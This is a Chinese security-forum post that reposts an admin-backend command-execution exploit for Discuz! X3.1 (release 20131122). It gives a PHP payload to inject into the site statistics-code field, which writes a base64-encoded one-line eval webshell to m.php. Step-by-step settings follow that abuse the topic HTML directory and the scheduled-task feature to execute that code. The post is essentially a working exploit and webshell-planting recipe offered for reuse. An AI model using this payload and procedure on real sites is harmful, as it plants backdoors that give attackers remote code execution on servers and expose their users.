转一个 Discuz! X3.1 20131122老版本 后台命令执行

2014-03-28 15:51:17 11 5751


https://www.t00ls.com/redirect.php?goto=findpost&ptid=26172&pid=414656

这里谈的……来自乌云的x3.1的老版本后台getshell,转到土司来,留个存档。

-----------------------------------------------------------------------------

总的来说,就是利用计划任务来执行php代码的。实现过程如下:

测试版本:Discuz! X3.1 Release 20131122

1.全局 » 站点信息:网站第三方统计代码里面插入:
<?php fputs(fopen('m.php',w),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUW2NdKTs/Pg=="));?>
插入后,更新下缓存。



2. 门户 » HTML管理 » 设置:

设置 专题HTML存放目录:source/include/cron



3.门户 » 专题管理 » 列表 » 创建专题,新建一个专题:

专题标题,随便写,静态化名称:test ,附加内容 选上 站点尾部信息然后提交。



4. 开启刚才创建的专题,然后生成:



5.工具 » 计划任务 » 新增: test ,然后提交。然后 编辑计划任务 - test,分钟:设置为:1 ,任务脚本:test.html , 然后 提交。

6.成功在根目录生成一句话 m.php

关于作者

godblack484篇文章1190篇回复T00ls认证专家。

一个高尚的人,一个纯粹的人,一个有道德的人,一个脱离了低级趣味的人,一个有益于人民的人。

评论11次

要评论?请先  登录  或  注册